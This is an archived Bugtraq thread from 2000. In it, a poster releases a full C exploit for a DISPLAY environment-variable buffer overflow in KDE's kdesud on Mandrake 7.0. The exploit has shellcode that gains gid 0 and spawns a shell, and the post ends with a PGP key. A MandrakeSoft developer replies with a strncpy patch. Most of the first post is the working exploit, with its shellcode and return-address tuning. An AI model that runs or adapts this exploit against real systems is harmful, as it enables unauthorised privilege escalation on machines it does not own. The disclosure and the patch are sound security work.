5140579 2000-05-28 23:20 /94 rader/ Postmaster Mottagare: Bugtraq (import) <11048> Ärende: KDE: /usr/bin/kdesud, gid = 0 exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com X-Accept-Language: en MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <392EA476.5825D813@gsu.linux.org.tr> Date: Fri, 26 May 2000 19:21:10 +0300 Reply-To: noir <noir@GSU.LINUX.ORG.TR> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: noir <noir@GSU.LINUX.ORG.TR> X-To: bugtraq@securityfocus.com To: BUGTRAQ@SECURITYFOCUS.COM /usr/bin/kdesud has DISPLAY enviroment variable overflow. tested on Mandrake 7.02 (Air), exploit will get you gid=0 Shameless self promotion: Any security related job in Istanbul/Turkey ??? Respect, noir /* KDE: /usr/bin/kdesud exploit by noir * x86/Linux * noir@gsu.linux.org.tr | noir@olympos.org * DISPLAY env overflow * this script will get you gid = 0 !! * tested on Mandrake 7.0 (Air), for other distros play with argv1 for eip * greetz: dustdevil, Cronos, moog, still, #olympos irc.sourtimes.org * */ #include <stdio.h> #include <string.h> #define NOP 0x90 #define ALIGN 2 #define RET 0xbffff664 // Mandrake 7.0 (x86) int main(int argc, char *argv[]) { unsigned char shell[] = "\x31\xc0\x89\xc3\x89\xc1\xb0\x47\xcd\x80" /* setregid(0, 0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char buf[400]; int i, a; long ret = RET; if(argv[1]) ret = ret - atoi(argv[1]); memset(buf, NOP, 400); for(i = ALIGN ; i < 160 + ALIGN; i+=4) *(long *) &buf[i] = ret; for( i = 300, a = 0; a < strlen(shell) ; i++, a++ ) buf[i] = shell[a]; buf[399] = 0x00; printf("eip: 0x%x\n", ret); setenv("DISPLAY", buf, 1); execl("/usr/bin/kdesud", "kdesud", 0); } -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGPfreeware 5.0i for non-commercial use mQENAzfpmZ4AAAEIALEp8z+/6SXHZ2IYf0PQnsyCm+9hfHxlQwWQs6BI5rBQdX9J GuSqJfGX3w+fS9xl6MWRlvno3Nmnk66QhBgs8LnunmyhtFN03TBfq7mGoBYKb79R 4jX/kjGUg9oUCr+6sqwN3bXp812qKpScxKVMvMCtQissVzDLdA01U1wCFhMg7xBQ N9lP8tJQ1gtKUnzdsnFgsLkgT3uN+Ek7bQdmwz9a1Xqcq2jxVj5j4yEErQoY3J8m viV+u8mr/Wo0vWEGwIeCWOKNi6SXGz69Pd9a+JRjYIBnuu33o64aEYoMGbFdslNM KbWxsXJJAwtw4/JqKt/LosYAFreteGhdA56c7JsABRG0IE5vaXIgU2luIDxub2ly QGdzdS5saW51eC5vcmcudHI+iQEVAwUQN+mZnnhoXQOenOybAQG16Af8Dk4ZRciA M1Fwq/fJOQJ/kcdszFHAEVHh1nToC99b+ZeoX2I3AIzrpYl0aGZBWQeGbtG4FZuz ldWQcvT8jsQ1M1FraAZgKIzukxAxiOJL1twlQJyEDYQ3wwyWIXXqS3c1/jl7PgC1 iv7RQXxxLRn9qFPJQcaJavxRAAVytkDQWocTguRaehtdZsjxLmH2eE7cGQe0N9aL JJfq0XLl1NjeV5pu5oTkc90/aJ/uHxPOStmPULm5WZP6nCTaQ28lPJBaDV8pLdPo dSg+kvlvhi+k7UgAdvsETA/I6paFyOLq8lFdORA/GHof89NQX3OyJmDGTknfKtAf 9Ky2NbzA12r6zQ== =o1d1 -----END PGP PUBLIC KEY BLOCK----- (5140579) ------------------------------------------ 5144057 2000-05-29 22:33 /41 rader/ Postmaster Mottagare: Bugtraq (import) <11051> Ärende: Re: KDE: /usr/bin/kdesud, gid = 0 exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-ID: <m2hfbi2w3w.fsf@vador.mandrakesoft.com> Date: Sun, 28 May 2000 23:38:59 +0200 Reply-To: Chmouel Boudjnah <chmouel@MANDRAKESOFT.COM> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Chmouel Boudjnah <chmouel@MANDRAKESOFT.COM> X-To: noir <noir@GSU.LINUX.ORG.TR> X-cc: BUGTRAQ@SECURITYFOCUS.COM, Pascal Rigaux <pixel@linux-mandrake.com>, future@linux-mandrake.com To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: noir's message of "Fri, 26 May 2000 19:21:10 +0300" noir <noir@GSU.LINUX.ORG.TR> writes: > /usr/bin/kdesud has DISPLAY enviroment variable overflow. > tested on Mandrake 7.02 (Air), exploit will get you gid=0 Here is the patch : --- kdesu/kdesud/kdesud.cpp.chmou Sun May 28 23:31:28 2000 +++ kdesu/kdesud/kdesud.cpp Sun May 28 23:31:41 2000 @@ -161,7 +161,8 @@ struct sockaddr_un addr; addr.sun_family = AF_UNIX; - strcpy(addr.sun_path, sock.c_str()); + strncpy(addr.sun_path, sock.c_str(), sizeof(addr.sun_path) - 1); + addr.sun_path[sizeof(addr.sun_path) - 1] = 0; addrlen = SUN_LEN(&addr); if (bind(sockfd, (struct sockaddr *)&addr, addrlen) < 0) { xerror("bind(): %s"); -- MandrakeSoft Inc http://www.mandrakesoft.com In travel. --Chmouel (5144057) ------------------------------------------